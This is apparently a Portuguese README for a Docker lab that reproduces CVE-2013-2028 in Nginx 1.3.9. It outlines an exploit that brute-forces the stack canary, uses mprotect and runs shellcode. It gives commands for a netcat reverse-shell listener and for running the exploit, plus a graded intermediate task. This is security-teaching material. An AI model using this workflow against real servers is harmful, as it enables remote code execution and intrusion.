Laboratório baseado em Docker e exploit em Python para CVE-2013-2028, um overflow de inteiro no parser chunked do Nginx 1.3.9, cobrindo recuperação de canary, mprotect e execução de shellcode.
Software vulnerável: Nginx 1.3.9
Função vulnerável: ngx_http_parse_chunked
CVE-2013-2028 é uma vulnerabilidade de estouro de inteiro no analisador de codificação de transferência em blocos (chunked transfer encoding) HTTP do Nginx. Sob as condições alvo deste ambiente de laboratório, a vulnerabilidade pode resultar em corrupção de memória e pode ser usada para influenciar o fluxo de controle.
Este repositório fornece um ambiente isolado baseado em Docker para estudar a vulnerabilidade e reproduzir o fluxo de trabalho de exploração.
O exploit completo consiste em quatro fases principais:
Recuperação do stack canary
Recupera o stack canary por meio de sondagem byte a byte.
Manipulação da proteção de memória
Calcula as informações de endereço relevantes e constrói a sequência de fluxo de controle necessária para invocar mprotect na região de memória controlada.
Posicionamento do shellcode
Copia o payload para a região de memória controlada.
Transferência do fluxo de controle
Transfere a execução para a região de memória controlada.
O exploit completo demonstra a progressão desde o acionamento do analisador vulnerável, passando pela corrupção de memória e manipulação do fluxo de controle, até a execução de código controlada.
exploit.pynetcat para o listener usado pelo laboratório completoNo sistema host, inicie um listener na porta configurada:
nc -lvp 4345
Use a mesma porta com o argumento --listenerport (-lp) ao executar o exploit.
Construa e inicie o ambiente Docker:
sudo docker-compose up --build
O alvo vulnerável executa o Nginx 1.3.9 dentro do contêiner.
Você pode verificar a versão do Nginx com:
docker-compose exec cve-2013-2028 /usr/local/nginx/sbin/nginx -v
Execute:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
O exploit realiza os estágios de recuperação do canary e construção do payload antes de enviar o payload final ao alvo vulnerável.
Se um canary previamente recuperado estiver disponível, ele pode ser fornecido usando:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port> \
-c '<canary>'
O repositório também fornece uma tarefa intermediária para avaliar o progresso no fluxo de trabalho de pesquisa da vulnerabilidade.
Execute:
python3 intermediate_task.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
A tarefa intermediária realiza suas verificações diretamente contra o alvo Docker em execução. Ela não depende de arquivos de evidência criados manualmente ou de asserções JSON fornecidas manualmente.
A tarefa verifica duas áreas:
A tarefa:
A tarefa:
nginx -t.A verificação de configuração estabelece que a configuração do Nginx é sintaticamente válida. Ela não deve, por si só, ser interpretada como prova de que a CVE-2013-2028 foi mitigada.
Exemplo de saída:
============================================================
CVE-2013-2028 INTERMEDIATE TASK
============================================================
Target:
nginx running: True
nginx version: 1.3.9
vulnerable build: True
Progress:
[x] vulnerability_identified
[x] configuration_validated
All required checks completed.
Exercise complete.
A tarefa intermediária armazena os resultados dessas verificações em tempo de execução em:
grader_state.json
Este arquivo é usado apenas para persistir o estado produzido pelas verificações. Ele não é a fonte da determinação da vulnerabilidade.
O ambiente de laboratório usa intencionalmente o Nginx 1.3.9, uma versão antiga do Nginx afetada pela CVE-2013-2028.
O ambiente Docker fornece um alvo isolado para pesquisa de vulnerabilidades e exercícios de exploração. O serviço vulnerável deve ser acessado apenas por meio das interfaces expostas pela configuração do laboratório.
Este repositório destina-se exclusivamente a fins educacionais e de pesquisa de segurança autorizada em um ambiente de laboratório isolado.
Não execute o exploit contra sistemas que você não possui ou para os quais não tem autorização explícita de teste.